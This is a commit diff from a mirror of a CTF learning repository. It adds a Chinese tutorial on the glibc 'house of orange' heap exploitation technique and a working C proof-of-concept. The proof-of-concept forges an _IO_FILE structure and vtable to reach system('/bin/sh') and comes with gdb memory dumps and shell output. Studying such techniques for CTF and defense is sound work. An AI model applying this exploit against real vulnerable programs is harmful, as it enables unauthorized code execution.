mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 3.3.7
This commit is contained in:
parent
3c7fc5adc8
commit
257320bb68
@ -354,6 +354,536 @@ gef➤ x/8gx &fake_chunk
|
||||
```
|
||||
|
||||
#### house_of_orange
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int winner (char *ptr);
|
||||
|
||||
int main() {
|
||||
char *p1, *p2;
|
||||
size_t io_list_all, *top;
|
||||
|
||||
p1 = malloc(0x400 - 0x10);
|
||||
|
||||
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
|
||||
top[1] = 0xc01;
|
||||
|
||||
p2 = malloc(0x1000);
|
||||
io_list_all = top[2] + 0x9a8;
|
||||
top[3] = io_list_all - 0x10;
|
||||
|
||||
memcpy((char *) top, "/bin/sh\x00", 8);
|
||||
|
||||
top[1] = 0x61;
|
||||
|
||||
_IO_FILE *fp = (_IO_FILE *) top;
|
||||
fp->_mode = 0; // top+0xc0
|
||||
fp->_IO_write_base = (char *) 2; // top+0x20
|
||||
fp->_IO_write_ptr = (char *) 3; // top+0x28
|
||||
|
||||
size_t *jump_table = &top[12]; // controlled memory
|
||||
jump_table[3] = (size_t) &winner;
|
||||
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
|
||||
|
||||
malloc(1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int winner(char *ptr) {
|
||||
system(ptr);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_orange.c
|
||||
$ ./a.out
|
||||
*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
|
||||
======= Backtrace: =========
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
|
||||
./a.out[0x4006cc]
|
||||
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
|
||||
./a.out[0x400509]
|
||||
======= Memory map: ========
|
||||
00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out
|
||||
01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]
|
||||
7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
|
||||
7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
|
||||
7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||||
7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
|
||||
7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
|
||||
7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
|
||||
7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||||
7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
|
||||
7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]
|
||||
7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]
|
||||
7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]
|
||||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
||||
$ whoami
|
||||
firmy
|
||||
$ exit
|
||||
Aborted (core dumped)
|
||||
```
|
||||
house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
|
||||
|
||||
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`:
|
||||
```c
|
||||
if (av == NULL
|
||||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||||
{
|
||||
```
|
||||
同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10:
|
||||
```c
|
||||
if (old_size >= MINSIZE)
|
||||
{
|
||||
_int_free (av, old_top, 1);
|
||||
}
|
||||
```
|
||||
当然,还得绕过下面两个限制条件:
|
||||
```c
|
||||
/*
|
||||
If not the first time through, we require old_size to be
|
||||
at least MINSIZE and to have prev_inuse set.
|
||||
*/
|
||||
|
||||
assert ((old_top == initial_top (av) && old_size == 0) ||
|
||||
((unsigned long) (old_size) >= MINSIZE &&
|
||||
prev_inuse (old_top) &&
|
||||
((unsigned long) old_end & (pagesize - 1)) == 0));
|
||||
|
||||
/* Precondition: not enough current space to satisfy nb request */
|
||||
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||||
```
|
||||
即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。
|
||||
|
||||
首先分配一个大小为 0x400 的 chunk:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
|
||||
0x602010: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。
|
||||
|
||||
现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
|
||||
0x602410: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
gef➤ x/4gx p1-0x10+0x400+0xbe0
|
||||
0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1
|
||||
0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2
|
||||
gef➤ x/4gx p2-0x10
|
||||
0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2
|
||||
0x623010: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx p2-0x10+0x1010
|
||||
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||||
0x624020: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
|
||||
→ Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
|
||||
```
|
||||
于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:
|
||||
```
|
||||
+---------------+
|
||||
| p1 |
|
||||
+---------------+
|
||||
| old top-0x20 |
|
||||
+---------------+
|
||||
| fencepost 1 |
|
||||
+---------------+
|
||||
| fencepost 2 |
|
||||
+---------------+
|
||||
| ... |
|
||||
+---------------+
|
||||
| p2 |
|
||||
+---------------+
|
||||
| new top |
|
||||
+---------------+
|
||||
```
|
||||
详细过程如下:
|
||||
```c
|
||||
if (old_size != 0)
|
||||
{
|
||||
/*
|
||||
Shrink old_top to insert fenceposts, keeping size a
|
||||
multiple of MALLOC_ALIGNMENT. We know there is at least
|
||||
enough space in old_top to do this.
|
||||
*/
|
||||
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
|
||||
set_head (old_top, old_size | PREV_INUSE);
|
||||
|
||||
/*
|
||||
Note that the following assignments completely overwrite
|
||||
old_top when old_size was previously MINSIZE. This is
|
||||
intentional. We need the fencepost, even if old_top otherwise gets
|
||||
lost.
|
||||
*/
|
||||
chunk_at_offset (old_top, old_size)->size =
|
||||
(2 * SIZE_SZ) | PREV_INUSE;
|
||||
|
||||
chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
|
||||
(2 * SIZE_SZ) | PREV_INUSE;
|
||||
|
||||
/* If possible, release the rest. */
|
||||
if (old_size >= MINSIZE)
|
||||
{
|
||||
_int_free (av, old_top, 1);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`:
|
||||
```
|
||||
gef➤ x/4gx p1-0x10+0x400
|
||||
0x602400: 0x0000000000000000 0x0000000000000be1
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
|
||||
```
|
||||
这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去:
|
||||
```c
|
||||
static void
|
||||
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
|
||||
{
|
||||
[...]
|
||||
if ((action & 5) == 5)
|
||||
__libc_message (action & 2, "%s\n", str);
|
||||
else if (action & 1)
|
||||
{
|
||||
char buf[2 * sizeof (uintptr_t) + 1];
|
||||
|
||||
buf[sizeof (buf) - 1] = '\0';
|
||||
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
|
||||
while (cp > buf)
|
||||
*--cp = '0';
|
||||
|
||||
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
|
||||
__libc_argv[0] ? : "<unknown>", str, cp);
|
||||
}
|
||||
else if (action & 2)
|
||||
abort ();
|
||||
}
|
||||
```
|
||||
调用 `__libc_message`:
|
||||
```c
|
||||
// sysdeps/posix/libc_fatal.c
|
||||
/* Abort with an error message. */
|
||||
void
|
||||
__libc_message (int do_abort, const char *fmt, ...)
|
||||
{
|
||||
[...]
|
||||
if (do_abort)
|
||||
{
|
||||
BEFORE_ABORT (do_abort, written, fd);
|
||||
|
||||
/* Kill the application. */
|
||||
abort ();
|
||||
}
|
||||
}
|
||||
```
|
||||
`do_abort` 调用 `fflush`,即 `_IO_flush_all_lockp`:
|
||||
```c
|
||||
// stdlib/abort.c
|
||||
#define fflush(s) _IO_flush_all_lockp (0)
|
||||
|
||||
if (stage == 1)
|
||||
{
|
||||
++stage;
|
||||
fflush (NULL);
|
||||
}
|
||||
```
|
||||
```c
|
||||
// libio/genops.c
|
||||
int
|
||||
_IO_flush_all_lockp (int do_lock)
|
||||
{
|
||||
int result = 0;
|
||||
struct _IO_FILE *fp;
|
||||
int last_stamp;
|
||||
|
||||
#ifdef _IO_MTSAFE_IO
|
||||
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
|
||||
if (do_lock)
|
||||
_IO_lock_lock (list_all_lock);
|
||||
#endif
|
||||
|
||||
last_stamp = _IO_list_all_stamp;
|
||||
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
|
||||
while (fp != NULL)
|
||||
{
|
||||
run_fp = fp;
|
||||
if (do_lock)
|
||||
_IO_flockfile (fp);
|
||||
|
||||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||||
|| (_IO_vtable_offset (fp) == 0
|
||||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||||
> fp->_wide_data->_IO_write_base))
|
||||
#endif
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
|
||||
result = EOF;
|
||||
|
||||
if (do_lock)
|
||||
_IO_funlockfile (fp);
|
||||
run_fp = NULL;
|
||||
|
||||
if (last_stamp != _IO_list_all_stamp)
|
||||
{
|
||||
/* Something was added to the list. Start all over again. */
|
||||
fp = (_IO_FILE *) _IO_list_all;
|
||||
last_stamp = _IO_list_all_stamp;
|
||||
}
|
||||
else
|
||||
fp = fp->_chain; // 指向我们指定的区域
|
||||
}
|
||||
|
||||
#ifdef _IO_MTSAFE_IO
|
||||
if (do_lock)
|
||||
_IO_lock_unlock (list_all_lock);
|
||||
__libc_cleanup_region_end (0);
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
```
|
||||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。
|
||||
```c
|
||||
// libio/libioP.h
|
||||
/* We always allocate an extra word following an _IO_FILE.
|
||||
This contains a pointer to the function jump table used.
|
||||
This is for compatibility with C++ streambuf; the word can
|
||||
be used to smash to a pointer to a virtual function table. */
|
||||
|
||||
struct _IO_FILE_plus
|
||||
{
|
||||
_IO_FILE file;
|
||||
const struct _IO_jump_t *vtable;
|
||||
};
|
||||
|
||||
// libio/libio.h
|
||||
struct _IO_FILE {
|
||||
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
|
||||
#define _IO_file_flags _flags
|
||||
|
||||
/* The following pointers correspond to the C++ streambuf protocol. */
|
||||
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
|
||||
char* _IO_read_ptr; /* Current read pointer */
|
||||
char* _IO_read_end; /* End of get area. */
|
||||
char* _IO_read_base; /* Start of putback+get area. */
|
||||
char* _IO_write_base; /* Start of put area. */
|
||||
char* _IO_write_ptr; /* Current put pointer. */
|
||||
char* _IO_write_end; /* End of put area. */
|
||||
char* _IO_buf_base; /* Start of reserve area. */
|
||||
char* _IO_buf_end; /* End of reserve area. */
|
||||
/* The following fields are used to support backing up and undo. */
|
||||
char *_IO_save_base; /* Pointer to start of non-current get area. */
|
||||
char *_IO_backup_base; /* Pointer to first valid character of backup area */
|
||||
char *_IO_save_end; /* Pointer to end of non-current get area. */
|
||||
|
||||
struct _IO_marker *_markers;
|
||||
|
||||
struct _IO_FILE *_chain;
|
||||
|
||||
int _fileno;
|
||||
#if 0
|
||||
int _blksize;
|
||||
#else
|
||||
int _flags2;
|
||||
#endif
|
||||
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
|
||||
|
||||
#define __HAVE_COLUMN /* temporary */
|
||||
/* 1+column number of pbase(); 0 is unknown. */
|
||||
unsigned short _cur_column;
|
||||
signed char _vtable_offset;
|
||||
char _shortbuf[1];
|
||||
|
||||
/* char* _save_gptr; char* _save_egptr; */
|
||||
|
||||
_IO_lock_t *_lock;
|
||||
#ifdef _IO_USE_OLD_IO_FILE
|
||||
};
|
||||
```
|
||||
其中有一个指向函数跳转表的指针,`_IO_jump_t` 的结构如下:
|
||||
```c
|
||||
// libio/libioP.h
|
||||
struct _IO_jump_t
|
||||
{
|
||||
JUMP_FIELD(size_t, __dummy);
|
||||
JUMP_FIELD(size_t, __dummy2);
|
||||
JUMP_FIELD(_IO_finish_t, __finish);
|
||||
JUMP_FIELD(_IO_overflow_t, __overflow);
|
||||
JUMP_FIELD(_IO_underflow_t, __underflow);
|
||||
JUMP_FIELD(_IO_underflow_t, __uflow);
|
||||
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
|
||||
/* showmany */
|
||||
JUMP_FIELD(_IO_xsputn_t, __xsputn);
|
||||
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
|
||||
JUMP_FIELD(_IO_seekoff_t, __seekoff);
|
||||
JUMP_FIELD(_IO_seekpos_t, __seekpos);
|
||||
JUMP_FIELD(_IO_setbuf_t, __setbuf);
|
||||
JUMP_FIELD(_IO_sync_t, __sync);
|
||||
JUMP_FIELD(_IO_doallocate_t, __doallocate);
|
||||
JUMP_FIELD(_IO_read_t, __read);
|
||||
JUMP_FIELD(_IO_write_t, __write);
|
||||
JUMP_FIELD(_IO_seek_t, __seek);
|
||||
JUMP_FIELD(_IO_close_t, __close);
|
||||
JUMP_FIELD(_IO_stat_t, __stat);
|
||||
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
|
||||
JUMP_FIELD(_IO_imbue_t, __imbue);
|
||||
#if 0
|
||||
get_column;
|
||||
set_column;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。另外,
|
||||
|
||||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||||
|
||||
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
|
||||
```c
|
||||
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|
||||
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|
||||
|| (_IO_vtable_offset (fp) == 0
|
||||
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
|
||||
> fp->_wide_data->_IO_write_base))
|
||||
#endif
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
|
||||
```
|
||||
```c
|
||||
// libio/libio.h
|
||||
|
||||
struct _IO_wide_data *_wide_data;
|
||||
|
||||
/* Extra data for wide character streams. */
|
||||
struct _IO_wide_data
|
||||
{
|
||||
wchar_t *_IO_read_ptr; /* Current read pointer */
|
||||
wchar_t *_IO_read_end; /* End of get area. */
|
||||
wchar_t *_IO_read_base; /* Start of putback+get area. */
|
||||
wchar_t *_IO_write_base; /* Start of put area. */
|
||||
wchar_t *_IO_write_ptr; /* Current put pointer. */
|
||||
wchar_t *_IO_write_end; /* End of put area. */
|
||||
wchar_t *_IO_buf_base; /* Start of reserve area. */
|
||||
wchar_t *_IO_buf_end; /* End of reserve area. */
|
||||
/* The following fields are used to support backing up and undo. */
|
||||
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
|
||||
wchar_t *_IO_backup_base; /* Pointer to first valid character of
|
||||
backup area */
|
||||
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
|
||||
|
||||
__mbstate_t _IO_state;
|
||||
__mbstate_t _IO_last_state;
|
||||
struct _IO_codecvt _codecvt;
|
||||
|
||||
wchar_t _shortbuf[1];
|
||||
|
||||
const struct _IO_jump_t *_wide_vtable;
|
||||
};
|
||||
```
|
||||
所以这里我们设置 `fp->_mode = 0`,`fp->_IO_write_base = (char *) 2` 和 `fp->_IO_write_ptr = (char *) 3`,从而绕过检查。
|
||||
|
||||
然后,就是修改 `_IO_jump_t`,将其指向 winner:
|
||||
```
|
||||
gef➤ x/30gx p1-0x10+0x400
|
||||
0x602400: 0x0068732f6e69622f 0x0000000000000061 <-- old top
|
||||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510 <-- bk points to io_list_all-0x10
|
||||
0x602420: 0x0000000000000002 0x0000000000000003 <-- _IO_write_base, _IO_write_ptr
|
||||
0x602430: 0x0000000000000000 0x0000000000000000
|
||||
0x602440: 0x0000000000000000 0x0000000000000000
|
||||
0x602450: 0x0000000000000000 0x0000000000000000
|
||||
0x602460: 0x0000000000000000 0x0000000000000000
|
||||
0x602470: 0x0000000000000000 0x00000000004006d3 <-- winner
|
||||
0x602480: 0x0000000000000000 0x0000000000000000
|
||||
0x602490: 0x0000000000000000 0x0000000000000000
|
||||
0x6024a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024b0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024c0: 0x0000000000000000 0x0000000000000000
|
||||
0x6024d0: 0x0000000000000000 0x0000000000602460 <-- vtable
|
||||
0x6024e0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ p *((struct _IO_FILE_plus *) 0x602400)
|
||||
$1 = {
|
||||
file = {
|
||||
_flags = 0x6e69622f,
|
||||
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
|
||||
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
|
||||
_IO_read_base = 0x7ffff7dd2510 "",
|
||||
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
|
||||
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
|
||||
_IO_write_end = 0x0,
|
||||
_IO_buf_base = 0x0,
|
||||
_IO_buf_end = 0x0,
|
||||
_IO_save_base = 0x0,
|
||||
_IO_backup_base = 0x0,
|
||||
_IO_save_end = 0x0,
|
||||
_markers = 0x0,
|
||||
_chain = 0x0,
|
||||
_fileno = 0x0,
|
||||
_flags2 = 0x0,
|
||||
_old_offset = 0x4006d3,
|
||||
_cur_column = 0x0,
|
||||
_vtable_offset = 0x0,
|
||||
_shortbuf = "",
|
||||
_lock = 0x0,
|
||||
_offset = 0x0,
|
||||
_codecvt = 0x0,
|
||||
_wide_data = 0x0,
|
||||
_freeres_list = 0x0,
|
||||
_freeres_buf = 0x0,
|
||||
__pad5 = 0x0,
|
||||
_mode = 0x0,
|
||||
_unused2 = '\000' <repeats 19 times>
|
||||
},
|
||||
vtable = 0x602460
|
||||
}
|
||||
```
|
||||
|
||||
最后随意分配一个 chunk,由于 `size<= 2*SIZE_SZ`,所以会触发 `_IO_flush_all_lockp` 中的 `_IO_OVERFLOW` 函数,获得 shell。
|
||||
```c
|
||||
for (;; )
|
||||
{
|
||||
int iters = 0;
|
||||
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
|
||||
{
|
||||
bck = victim->bk;
|
||||
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|
||||
|| __builtin_expect (victim->size > av->system_mem, 0))
|
||||
malloc_printerr (check_action, "malloc(): memory corruption",
|
||||
chunk2mem (victim), av);
|
||||
size = chunksize (victim);
|
||||
```
|
||||
|
||||
到此,how2heap 里全部的堆利用方法就全部讲完了。
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||||
- [House of Orange](https://www.lazenca.net/display/TEC/House+of+Orange#HouseofOrange-Sourcecode)
|
||||
- [house_of_orange](http://blog.leanote.com/post/3191220142@qq.com/house_of_orange)
|
||||
|
40
src/Others/3.3.5_heap_exploit/house_of_orange.c
Normal file
40
src/Others/3.3.5_heap_exploit/house_of_orange.c
Normal file
@ -0,0 +1,40 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int winner (char *ptr);
|
||||
|
||||
int main() {
|
||||
char *p1, *p2;
|
||||
size_t io_list_all, *top;
|
||||
|
||||
p1 = malloc(0x400 - 0x10);
|
||||
|
||||
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
|
||||
top[1] = 0xc01;
|
||||
|
||||
p2 = malloc(0x1000);
|
||||
io_list_all = top[2] + 0x9a8;
|
||||
top[3] = io_list_all - 0x10;
|
||||
|
||||
memcpy((char *) top, "/bin/sh\x00", 8);
|
||||
|
||||
top[1] = 0x61;
|
||||
|
||||
_IO_FILE *fp = (_IO_FILE *) top;
|
||||
fp->_mode = 0; // top+0xc0
|
||||
fp->_IO_write_base = (char *) 2; // top+0x20
|
||||
fp->_IO_write_ptr = (char *) 3; // top+0x28
|
||||
|
||||
size_t *jump_table = &top[12]; // controlled memory
|
||||
jump_table[3] = (size_t) &winner;
|
||||
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
|
||||
|
||||
malloc(1);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int winner(char *ptr) {
|
||||
system(ptr);
|
||||
return 0;
|
||||
}
|
Loading…
Reference in New Issue
Block a user